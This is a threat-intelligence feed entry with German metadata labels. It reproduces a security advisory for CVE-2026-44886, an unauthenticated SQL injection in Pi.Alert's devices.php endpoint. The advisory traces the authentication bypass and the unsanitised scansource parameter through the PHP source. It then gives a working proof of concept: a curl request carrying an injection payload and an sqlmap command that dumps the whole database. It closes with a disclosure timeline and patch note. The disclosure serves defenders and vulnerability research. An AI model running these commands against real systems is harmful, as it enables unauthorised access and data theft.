Pi.Alert - Unauthenticated SQL Injection

Kurzinfo

Metadaten

  • Original (extern): Link oeffnen
  • Veroeffentlicht: 2026-06-14 07:32 UTC
  • Importiert: 2026-09-26 15:25 UTC
  • CVSS: 8.7
  • Quelle-ID: project_black_blog
  • uid_hash: 29191da47a98598adc25eeef9117246796b562d3695e538071f66fdeaf83afcd

Inhalt

💡 This is tracked as CVE-2026-44886.

Pi.Alert (>= 2024-06-29) is vulnerable to SQL injection, allowing attackers to dump all data in the database. The vulnerable endpoint accepts requests from unauthenticated attackers, even when password authentication is enabled. The /pialert/php/server/devices.php route accepts unauthenticated requests when the action=getDevicesTotals parameter is passed. The scansource URL parameter is then used to construct the SQL query without proper sanitisation. Code Flow All code snippets can be found in /pialert/php/server/devices.php. Firstly, we set ?action=getDevicesTotals to bypass the auth check. if ($_SESSION["login"] != 2) { if ($_REQUEST['action'] != "getDevicesTotals") { header('Location: ../../index.php'); exit; } } ?action=getDevicesTotals results in getDevicesTotals() getting called. if (isset($_REQUEST['action']) && !empty($_REQUEST['action'])) { $action = $_REQUEST['action']; switch ($action) { //... case 'getDevicesTotals':getDevicesTotals(); break; //... } getDeviceTotals() constructs a raw SQL query using user provided input. Part of the query is constructed from getDeviceCondition(..., $_REQUEST['scansource']). function getDevicesTotals() { global $db;

if (!$_REQUEST['scansource']) {$scansource = 'local';} else {$scansource = $_REQUEST['scansource'];}
// Step 3: Pass `?scansource=<PAYLOAD>` to `getDevicesTotals()` and inject into SQL query
$result = $db->query(
	'SELECT
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('all',$scansource) . ') as devices,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('connected',$scansource) . ') as connected,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('favorites',$scansource) . ') as favorites,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('new',$scansource) . ') as new,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('down',$scansource) . ') as down,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('archived',$scansource) . ') as archived,
    (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('presence',$scansource) . ') as presence

');

// Step 5: SQL query is executed
$row = $result->fetchArray(SQLITE3_NUM);
echo json_encode(array($row[0], $row[1], $row[2], $row[3], $row[4], $row[5], $row[6]));

}

getDeviceCondition(...) does not perform sanitisation as can be seen below. function getDeviceCondition($deviceStatus, $scansource) { if ($scansource == "all") {$scansource_query = "";} else {$scansource_query = 'dev_ScanSource="'.$scansource.'" AND ';} switch ($deviceStatus) { case 'all':return 'WHERE '.$scansource_query.'dev_Archived=0'; break; case 'connected':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresentLastScan=1'; break; case 'favorites':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_Favorite=1'; break; case 'new':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_NewDevice=1'; break; case 'down':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_AlertDeviceDown=1 AND dev_PresentLastScan=0'; break; case 'archived':return 'WHERE '.$scansource_query.'dev_Archived=1'; break; case 'presence':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresencePage=1'; break; default: return 'WHERE '.$scansource_query.'AND 1=<Cloudflare :(>'; break; } } PoC Firstly, check if the server is vulnerable. curl
--get
--data 'action=getDevicesTotals'
--data-urlencode 'scansource=local" OR "1"="1'
'http://<host>/pialert/php/server/devices.php'

Example output

#[9,9,9,9,9,9,9] An array of identical numbers that are not zero indicated the server is vulnerable. Secondly, use sqlmap to exfiltrate data in the database. sqlmap
-u 'http://<host>/pialert/php/server/devices.php?action=getDevicesTotals&scansource=local'
-p scansource
--batch
--level=2
--dump-all Disclosure Timeline 05/03/2026- Research started on version "2026-03-20". 18/03/2026 - SQL injection vulnerability disclosed. 06/05/2026 - Patched in commit 024cfdf in version.

Web Interface Vulnerable to Unauthenticated Blind SQL Injection

Summary The web application endpoint is vulnerable to SQL injection. Attackers can dump all data in the database. The vulnerable endpoint permits requests from unauthenticated attackers, even…

GitHubleiweibau

Verknuepfte CVEs

CVE-ID Severity (Quelle) CVSS (Quelle) Severity (CVE.org) CVSS (CVE.org) EPSS EPSS-Pctl Veroeffentlicht (CVE.org)

CVE-2026-44886

HIGH

8.7

HIGH

8.7

2026-05-27

Quellen-Details

Bezeichnung Name Kategorie Tags Zielgruppe Sprache Feed-URL
Project Black — Research Blog

project_black_blog

threat_intel blog, research - de https://projectblack.io/blog/rss/